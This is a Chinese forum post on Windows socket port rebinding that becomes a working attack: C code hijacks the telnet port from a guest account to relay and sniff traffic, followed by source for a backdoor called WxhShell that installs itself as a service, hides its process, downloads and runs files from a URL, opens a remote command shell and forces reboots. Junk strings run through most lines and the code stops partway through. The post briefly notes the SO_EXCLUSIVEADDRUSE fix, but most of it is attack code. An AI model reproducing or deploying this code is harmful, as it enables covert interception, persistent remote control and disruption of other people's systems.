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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: QX. U:p5C  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~6Odw GWV  
ya;(D 8x)  
  saddr.sin_family = AF_INET; Jf@Xz7{z  
q+lCA#Sx  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h?GE-F  
2k`Q+[?{q>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~k ]$J|}za  
8,B#W#*{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G/KTF2wl7  
X8XE_VtP  
  这意味着什么?意味着可以进行如下的攻击: 2nSz0 .  
1flBA,6L  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6(q8y(.`  
J^pq<   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Vz y )jf  
3tmS/ tQp  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 GbC JGqOR  
+# @2,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ORfMp'uP=  
`3dGn .M  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 n."XiXsN  
id/y_ekfP  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O*Z -3 l  
*uF Iw}C/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 t0 T#Xb  
R>,_C7]u  
  #include '5 9{VA6h  
  #include qp/nWGj  
  #include P_ b8_ydU  
  #include    :IozWPs*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (%{!TJgZR  
  int main() Wtflw>-  
  { @^b>S6d "  
  WORD wVersionRequested; u4[rA2Bf8E  
  DWORD ret; YXGxE&!  
  WSADATA wsaData; 1(Lq9hs`  
  BOOL val; h-*h;Uyc  
  SOCKADDR_IN saddr; _^F%$K6  
  SOCKADDR_IN scaddr; =jRC4]M})  
  int err; nA+gqY6 6|  
  SOCKET s; >i2WYT  
  SOCKET sc; In}~bNv?  
  int caddsize; biH ZyUJ  
  HANDLE mt; BM02k\%  
  DWORD tid;   : )k|Onz  
  wVersionRequested = MAKEWORD( 2, 2 ); rX|{nb  
  err = WSAStartup( wVersionRequested, &wsaData ); Ys@\~?ym+  
  if ( err != 0 ) { e~$aJO@B.R  
  printf("error!WSAStartup failed!\n"); B)&z% +  
  return -1; 0-Wv$o[  
  } sTi3x)#xB  
  saddr.sin_family = AF_INET; #-g2p?+i&  
   U+@rLQ.-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?a~#`<  
u9ue>I /  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); FF30 VlJ  
  saddr.sin_port = htons(23); /I0}(;^y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U{3Pk0rZ  
  { ->@iw!5xu  
  printf("error!socket failed!\n"); fvoPV &:  
  return -1; WAGU|t#."  
  } ET~^P  
  val = TRUE; W0# VDe]>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &t74T"(d  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q&: t$tSS  
  { !f# [4Xw  
  printf("error!setsockopt failed!\n"); Odbm"Y  
  return -1; B|- W  
  } ,)t/1oQ}>^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %r:Uff@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^:o^g'Yab  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 DA/ \[w?J  
Bvz& p)(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ZJ |&t  
  { <{k8 K6  
  ret=GetLastError(); Xm^/t#  
  printf("error!bind failed!\n"); oBWa\N  
  return -1; hKN/&P^  
  } IjRUL/\=  
  listen(s,2); VOrBNu  
  while(1) ?qczMck_  
  { |Q#CQz  
  caddsize = sizeof(scaddr); j4eq.{$  
  //接受连接请求 \l/<[ZZ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +Pb@@C&  
  if(sc!=INVALID_SOCKET) ":01M},RA  
  { Y r 1k\q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?4lEHef  
  if(mt==NULL) WI\h@qSB  
  { Hr=?_Un"  
  printf("Thread Creat Failed!\n"); E <h9o>h  
  break; IlMst16q5  
  } Ny 7vId  
  } ^e1mK4`  
  CloseHandle(mt); #(r1b'jfP  
  } c4FU@^Vv  
  closesocket(s); p~Mw^SN'  
  WSACleanup(); Q%_MO`<]$  
  return 0; ROr|  <  
  }   | <- t  
  DWORD WINAPI ClientThread(LPVOID lpParam) biAa&   
  { 6i*LP(n  
  SOCKET ss = (SOCKET)lpParam; F ss@/-  
  SOCKET sc; XM?C7/^k  
  unsigned char buf[4096]; 3qrjb]E%}  
  SOCKADDR_IN saddr; a*Ng+~5)6  
  long num; *!yY7 ~#  
  DWORD val; ]0myoWpi3  
  DWORD ret; 4d $T6b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @s~*>k#"#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   v^1n.l %E  
  saddr.sin_family = AF_INET; Ve\P,.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _t\)W(E&  
  saddr.sin_port = htons(23); 8fQaMn4V  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E3h-?ugO'  
  { 3 bl l9Ey  
  printf("error!socket failed!\n"); Ip;;@o&D  
  return -1; z]=jer  
  } =}YaV@g<f  
  val = 100; &,iPI2`O A  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EL1*@  
  { k3r<']S^  
  ret = GetLastError(); (:ij'Zbz  
  return -1; }1Km h]  
  } c$R<j'7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [knwp$  
  { ')~[J$qz  
  ret = GetLastError(); ^TCfj^FP  
  return -1; -n`2>L1  
  } D>"!7+t|@a  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) iLJBiZ+  
  { <+e&E9;>6  
  printf("error!socket connect failed!\n"); q|N4d9/b  
  closesocket(sc); &W-1W99auE  
  closesocket(ss); ]gB:ht  
  return -1; q%8Ck)xz  
  } \Gz 79VW  
  while(1) >d5L4&r  
  { km9@*@)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]d50J@W c  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (, 2U?p  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $O^U"  
  num = recv(ss,buf,4096,0); 6ragRS/'x  
  if(num>0) G0pqiU6  
  send(sc,buf,num,0); A=pyaU`aE  
  else if(num==0) TvwkeOS#}7  
  break; "0Yb 2>F  
  num = recv(sc,buf,4096,0); MnD^jcx   
  if(num>0) U&SgB[QHO  
  send(ss,buf,num,0); rd4mAX6@  
  else if(num==0) '| bHu  
  break; td\'BV  
  } }i@%$Ixsn  
  closesocket(ss); &cB +la\_  
  closesocket(sc); tf?"AY4  
  return 0 ; K8|>"c~  
  } CeW}z kcT  
*aS[^iX?s  
EMMp4KKOx+  
========================================================== CGJ>j}C  
Tlz~o[`&  
下边附上一个代码,,WXhSHELL yVbyw(gS  
P/doNv}iG  
========================================================== EF[I@voc  
(pkq{: Fs  
#include "stdafx.h" t gHXIr}3  
X16r$~Pb  
#include <stdio.h> p#tbN5i[{7  
#include <string.h> uy oEMT#u  
#include <windows.h> DjQgF=;  
#include <winsock2.h> RS /*Dp^  
#include <winsvc.h> QVPJ$~x  
#include <urlmon.h> '=]|"   
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#pragma comment (lib, "Ws2_32.lib") ]m"6a-,`  
#pragma comment (lib, "urlmon.lib") oAxCI/  
4#2iq@s  
#define MAX_USER   100 // 最大客户端连接数 5WU ? Km  
#define BUF_SOCK   200 // sock buffer geEETb} +y  
#define KEY_BUFF   255 // 输入 buffer $' >|r]  
 Ts 1  
#define REBOOT     0   // 重启 QeipfK+me  
#define SHUTDOWN   1   // 关机 @sLB _f  
K8g9IZ*lT  
#define DEF_PORT   5000 // 监听端口 V.Qy4u7m  
Xo~kB)|,  
#define REG_LEN     16   // 注册表键长度 pQ9~^  
#define SVC_LEN     80   // NT服务名长度 ^fxS=Qs+  
Ux5pw  
// 从dll定义API D  /wX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P5/\*~}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _s{on/u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #1c%3KaZ I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b`M  2VZu  
$A"C1)d;  
// wxhshell配置信息 t/xWJW2  
struct WSCFG { L} r#KfIb  
  int ws_port;         // 监听端口 QEo i9@3  
  char ws_passstr[REG_LEN]; // 口令 Jb+cC)(  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^)|8N44O  
  char ws_regname[REG_LEN]; // 注册表键名 `rEu8u  
  char ws_svcname[REG_LEN]; // 服务名 c!n\?lB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T 2Uu/^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8bT]NvCA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Hxe!68{aR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no dJ~AMol  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O~Eju  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GcXh V  
F2jZ3[P  
}; xx[XwN;  
'*K}$+l  
// default Wxhshell configuration "tax  
struct WSCFG wscfg={DEF_PORT, rt-^?2c?  
    "xuhuanlingzhe", mOm_a9M L  
    1, ro:B[XE  
    "Wxhshell", M@\A_x(Mas  
    "Wxhshell", j?a^fcXB  
            "WxhShell Service", op!8\rM<e  
    "Wrsky Windows CmdShell Service", Yn!)('FdT!  
    "Please Input Your Password: ", c8'a<<sj  
  1, h+ixl#:  
  "http://www.wrsky.com/wxhshell.exe", x93t.5E6  
  "Wxhshell.exe" 6@ B_3y  
    }; 7{0;<@  
?4p\ujc  
// 消息定义模块 X6hm,0[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;Ih:$"$!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PtP{_9%Dz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F\LAw#IJ  
char *msg_ws_ext="\n\rExit."; =QG@{?JTl  
char *msg_ws_end="\n\rQuit."; QnHb*4<  
char *msg_ws_boot="\n\rReboot..."; 4KH8dau.fF  
char *msg_ws_poff="\n\rShutdown..."; .;),e#  
char *msg_ws_down="\n\rSave to "; ']]C zze  
N$cm;G=]  
char *msg_ws_err="\n\rErr!"; s.VtmAH  
char *msg_ws_ok="\n\rOK!"; l-?B1gd,l  
]mO$Tg&s~  
char ExeFile[MAX_PATH]; X9ua&T2(l  
int nUser = 0; `cu W^/c  
HANDLE handles[MAX_USER]; %9 kOl  
int OsIsNt; t}$WP&XRG<  
oll J#i9  
SERVICE_STATUS       serviceStatus; O{YT6&.S0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; njhDrwN  
O}$@|w(8;  
// 函数声明 V5ve  
int Install(void); ST'eJ5P7!5  
int Uninstall(void); ^ud-N;]MKs  
int DownloadFile(char *sURL, SOCKET wsh); LmCr[9/  
int Boot(int flag); =EE>QM  
void HideProc(void); =rH' \7T  
int GetOsVer(void); dXwfOC\\  
int Wxhshell(SOCKET wsl); H[H+s!)"  
void TalkWithClient(void *cs); +MHsdeGU1W  
int CmdShell(SOCKET sock); _>:R]2Ew  
int StartFromService(void); }q8 |t3  
int StartWxhshell(LPSTR lpCmdLine); "$@>n(w  
Q&Q$;s3|Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TU-aL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); . #+N?D<  
yH YqJ|t  
// 数据结构和表定义 `;X~$uS  
SERVICE_TABLE_ENTRY DispatchTable[] = _SVIY@K|/  
{ O $ p  
{wscfg.ws_svcname, NTServiceMain}, 'aj97b;lpG  
{NULL, NULL} mI$<+S1!  
}; h`{agW B  
k&oq6!ix  
// 自我安装 o p{DPUO0  
int Install(void) aHhr_.>X  
{ yf 7Sz$Eq  
  char svExeFile[MAX_PATH]; ">-J+ST%  
  HKEY key; */8b)I}yY  
  strcpy(svExeFile,ExeFile); OD;-0Bj  
PIo8mf/  
// 如果是win9x系统,修改注册表设为自启动 p= fj1*  
if(!OsIsNt) { i\h"N K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HV*D l$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SK6?;_  
  RegCloseKey(key); F},#%_4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hj\iI p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q4Rvr[  
  RegCloseKey(key); =x_~7 Xc{  
  return 0; CP5vo-/)-  
    } x-hr64WFK  
  }  /y2)<{{I  
} p'@| O q&  
else { Y! 8 I  
3izGMH_`  
// 如果是NT以上系统,安装为系统服务 sN"JVJXi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ah_,5Z@&R  
if (schSCManager!=0) 9i^dQV.U=  
{ v|]1x2191  
  SC_HANDLE schService = CreateService 7dg2-4  
  ( [unK5l4_!  
  schSCManager, QGC%, F"+  
  wscfg.ws_svcname, %$'YP  
  wscfg.ws_svcdisp, {Yt@H  
  SERVICE_ALL_ACCESS, 6ct'O**k*&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'MWu2L!F  
  SERVICE_AUTO_START, k'(d$;Jgr  
  SERVICE_ERROR_NORMAL, &"_5?7_N  
  svExeFile, {jK:hQX  
  NULL, c3L)!]kB  
  NULL, 47/14rY 2  
  NULL, +VE ] .*T  
  NULL, { /u}  
  NULL *_qLLJg  
  ); c] '-:=  
  if (schService!=0) :gwM$2vv  
  { ktEdbALK  
  CloseServiceHandle(schService); @7}]\}SR  
  CloseServiceHandle(schSCManager); P5$L(x%~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b235Zm  
  strcat(svExeFile,wscfg.ws_svcname); REK(^1 h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5LYzX+a)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OV.f+_LS  
  RegCloseKey(key); ;Z asK0  
  return 0; y;$ !J  
    } MkNPC  
  } )iU@P7W=  
  CloseServiceHandle(schSCManager); sY%nPf~9q'  
} UG~/   
} _Hp[}sv4)  
G\PFh&  
return 1; ]YF_c,Q  
} ukInS:7  
#a$k3C  
// 自我卸载 lx)Bj6  
int Uninstall(void) '0jjoZ:  
{ Cih~cwE  
  HKEY key; ge[hAI2I  
wf,B/[,d  
if(!OsIsNt) { T F[8r[93  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R=co2 5  
  RegDeleteValue(key,wscfg.ws_regname); LBw$K0  
  RegCloseKey(key); }w|a^=HAp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DwNEqHi  
  RegDeleteValue(key,wscfg.ws_regname); S.! n35  
  RegCloseKey(key); W }"n*  
  return 0; ^U8^P]{R|  
  } M hwuh`v%  
} 5ltrr(MeD  
} wk@S+Q  
else { 23iMG]J&  
}2!=1|}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JtbwY@R  
if (schSCManager!=0) <rbzsn"a  
{ zF7*T?3b"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k^i\<@v  
  if (schService!=0) YqEB%Y~N+  
  { R2Y.s^  
  if(DeleteService(schService)!=0) { -~rZ| W~v  
  CloseServiceHandle(schService); vMHJgpd&j  
  CloseServiceHandle(schSCManager); @ )2<$d  
  return 0; |z 8Wh  
  } 4?c4GT9(6S  
  CloseServiceHandle(schService); oNFvRb2Rd  
  } a0/[L  
  CloseServiceHandle(schSCManager); ^77Q4"{W  
} voitdz  
} L"(k;Mfe  
GU,ztO.w3  
return 1; mE)I(< %  
} /4 M~ 6LT`  
vxt<}h5J/!  
// 从指定url下载文件 <fm<UO,%  
int DownloadFile(char *sURL, SOCKET wsh) D\LXjEm e.  
{ '<!T'l:R:/  
  HRESULT hr; wj$WE3Y  
char seps[]= "/"; 4COo~d  
char *token; gY/p\kwsj  
char *file; H3Zs m)+:  
char myURL[MAX_PATH]; J};=)xLX;  
char myFILE[MAX_PATH]; Fs 95^T  
d# >iFD+  
strcpy(myURL,sURL); 6p)dO c3L  
  token=strtok(myURL,seps); @ |^;d  
  while(token!=NULL) Ni Y.OwKr  
  { $OP w$  
    file=token; 6^#@y|.  
  token=strtok(NULL,seps); =K8z8K?  
  } TJ`Jqnh  
XnNU-UCX  
GetCurrentDirectory(MAX_PATH,myFILE); }}q_QD_  
strcat(myFILE, "\\"); Xt$o$V  
strcat(myFILE, file); _@_w6Rh  
  send(wsh,myFILE,strlen(myFILE),0); 'g#EBy  
send(wsh,"...",3,0); e:T8={LU2W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CGCI3Z'  
  if(hr==S_OK) Gi 7p`F.  
return 0; ZGgM- O1  
else P7|x=Ew;`  
return 1; T*bBw  
T~G~M/  
} tEl_a~s*3?  
a`E1rK'  
// 系统电源模块 =&-+{txs  
int Boot(int flag) iRsK; )<  
{ %]\IC(q  
  HANDLE hToken; @";zM&  
  TOKEN_PRIVILEGES tkp; upefjwm  
Bf+7;4-  
  if(OsIsNt) { Ns#R`WG)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UWIw/(Mv/]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l0@+ &Xj  
    tkp.PrivilegeCount = 1; d>k"#|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >oasA2S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t{g7 :A  
if(flag==REBOOT) { >21f%Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 96]!*}  
  return 0; 3{FUFx  
} En:/{~9{ F  
else { |9x H9@^f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >og- jz  
  return 0; 0hoi=W6AQ  
} q-5U,!!W/  
  } o^*k   
  else { qrt2BT)  
if(flag==REBOOT) { $`'Xb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R A^-Pa.O  
  return 0; Fo$'*(i  
} (N/KP+J$n  
else { 2nkUvb%=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k*$[V17  
  return 0; 9TZ4ffXV*  
} ,#blY~h8^  
} nAY'1!Oi  
l 4e`-7  
return 1; M~"93Q`f^  
} ? ht;ZP  
P(Wr[lH\y  
// win9x进程隐藏模块 x2@W,?oPm  
void HideProc(void) U%T{~f  
{ bS"zp6Di  
r?:xD(}Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PZE{- TM?W  
  if ( hKernel != NULL ) ZT1IN6;8W  
  { , I^:xw_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DB>.Uf"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uX8yS|= *  
    FreeLibrary(hKernel); ]s<}'&  
  } na-mh E,H  
p6|RV(?8  
return; p8_ CY[U  
} y~-dQ7r  
9n!IdqKN  
// 获取操作系统版本 C[IY9s:Pf  
int GetOsVer(void) SQ0t28N3h  
{ #dEMjD  
  OSVERSIONINFO winfo; t IO 'ky  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); } Rs@  
  GetVersionEx(&winfo); bUS"1Tg]*6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wN^$8m5\T^  
  return 1; V+- ]txu|  
  else ,'z=cB`+o  
  return 0; eR*y<K(d  
} Aat-938FP6  
#s]'2O  
// 客户端句柄模块 G.y~*5?#  
int Wxhshell(SOCKET wsl) .!Qo+(  
{ +#=l{_Z,ZJ  
  SOCKET wsh; $Q'S8TU  
  struct sockaddr_in client; p|,3X*-ynx  
  DWORD myID; 4y|%Oj  
hQPNxpe  
  while(nUser<MAX_USER) <WCTJ!Z  
{ 7'1 +i  
  int nSize=sizeof(client); lk`,s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ),;O3:n  
  if(wsh==INVALID_SOCKET) return 1; zd-qQ.j0  
K%iA-h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hH])0C  
if(handles[nUser]==0) /@`kM'1:  
  closesocket(wsh); sBV})8]K M  
else Z @d(0 z  
  nUser++; B>Xfs ZS  
  } Ir\f _>7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RhQ[hI  
3X#)PX9b){  
  return 0; [zMnlO  
} 1SO!a R#g  
<-rw>,  
// 关闭 socket #yi&-9B  
void CloseIt(SOCKET wsh) G Rq0nhJ  
{ O[RivHCY  
closesocket(wsh); w_hN2eYo&e  
nUser--; 6<>T{2b:(p  
ExitThread(0); IwJ4K+  
} y3{ F\K  
##_Jz5P  
// 客户端请求句柄 6L4<c+v_  
void TalkWithClient(void *cs) 2?./S)x)  
{ || 0n%"h>i  
<yw(7  
  SOCKET wsh=(SOCKET)cs; K|^'`FpPO  
  char pwd[SVC_LEN]; /@qnEP%  
  char cmd[KEY_BUFF]; 5kbbeO|0G  
char chr[1]; U,e'vS{  
int i,j; _dk/SWb)  
iB0#Z_  
  while (nUser < MAX_USER) { M*n@djL$\~  
`%oJa`  
if(wscfg.ws_passstr) { 2n|]&D3V"'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I`-N]sf^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  @& fAR2  
  //ZeroMemory(pwd,KEY_BUFF); ?Q#yf8  
      i=0; mNDz|Ln  
  while(i<SVC_LEN) { Ap)[;_9BD  
f9FEH7S68  
  // 设置超时 Fh0cOp(  
  fd_set FdRead; waRK$/b (  
  struct timeval TimeOut; k?7V#QW(  
  FD_ZERO(&FdRead); .m/$ku{/J  
  FD_SET(wsh,&FdRead); `j)S7KN  
  TimeOut.tv_sec=8; L$rMfe S  
  TimeOut.tv_usec=0; ]R?{9H|jwE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); glo Y@k~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bjCO@t  
>A_:q yGk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |18h p  
  pwd=chr[0]; 9qcA+gz:|  
  if(chr[0]==0xd || chr[0]==0xa) { gR\-%<42  
  pwd=0; nEgDwJ<wl  
  break; JDp{d c  
  } yMVlTO  
  i++; #|R#/Yc@Bv  
    } kACgP!~/1  
sjIUW$  
  // 如果是非法用户,关闭 socket .,+TpP kc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Nt'6Y;m!  
} ,C97|6rC  
Md[M}d8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jqv"8S5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CaE1h9  
RJhafUJ zH  
while(1) { OPe3p {]  
)oAxt70  
  ZeroMemory(cmd,KEY_BUFF);  TG^?J`  
B/F6WQdZ  
      // 自动支持客户端 telnet标准   P#o"T4 >  
  j=0; 56`Tna,t  
  while(j<KEY_BUFF) { rK@XC +`S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vz @2_k   
  cmd[j]=chr[0]; ]/ffA|"U`  
  if(chr[0]==0xa || chr[0]==0xd) { R!Lh ~~@{(  
  cmd[j]=0; c+A$ [  
  break; 4-voR5Fd  
  } }"x#uG  
  j++; ]:_s7v  
    } k3yA*Ec  
=9yh<'583  
  // 下载文件 T j(MIFi|5  
  if(strstr(cmd,"http://")) { Z`]r)z%f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xP+`scv*m#  
  if(DownloadFile(cmd,wsh)) *l{GD1ZDk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }p|S3/G?$!  
  else HzQ Y\Y6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JG/Pc1aK  
  } 0aM&+j\q}  
  else { ^I y'G44  
6 @A'N(I=O  
    switch(cmd[0]) { XDQ5qfE|  
  c$P68$FB  
  // 帮助 A}3dx!?7j  
  case '?': { l' mdj!{&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OUFx M  
    break; 1"yr`,}?8r  
  } n4sO#p)'  
  // 安装 r?2EJE2{V  
  case 'i': { ,[UK32KWI  
    if(Install()) %iR"eEE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fK{m7?V  
    else Em ;2fh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s~'"&0Gz  
    break; 6"YcM:5~  
    } pt$\pQ  
  // 卸载 SUC'o"  
  case 'r': { fvBL? x  
    if(Uninstall()) f"RS,]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4..M *U  
    else W\Df:P {<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E! GH$%:;  
    break; J~.`  
    } v8l3{qq  
  // 显示 wxhshell 所在路径 =JNCQu  
  case 'p': { LE}V{%)xD  
    char svExeFile[MAX_PATH]; >r\q6f#J4  
    strcpy(svExeFile,"\n\r"); `F`{s`E)  
      strcat(svExeFile,ExeFile); L6x;<gj  
        send(wsh,svExeFile,strlen(svExeFile),0); )lZoXt_3  
    break; Rn$[P.||  
    } 8_Nyy/K#F  
  // 重启 of=N+ W  
  case 'b': { Mj6 0?k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MAQ(PIc>T  
    if(Boot(REBOOT)) JnIE6@g<y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WCD)yTg:ES  
    else { z50P* eS  
    closesocket(wsh); 2!Qg1hM  
    ExitThread(0); Xti.yQx\  
    } rU9z? (  
    break; %k'>bmJ  
    } <&RpGAk%I  
  // 关机 \2))c@@%  
  case 'd': { \,S4-~(:!  
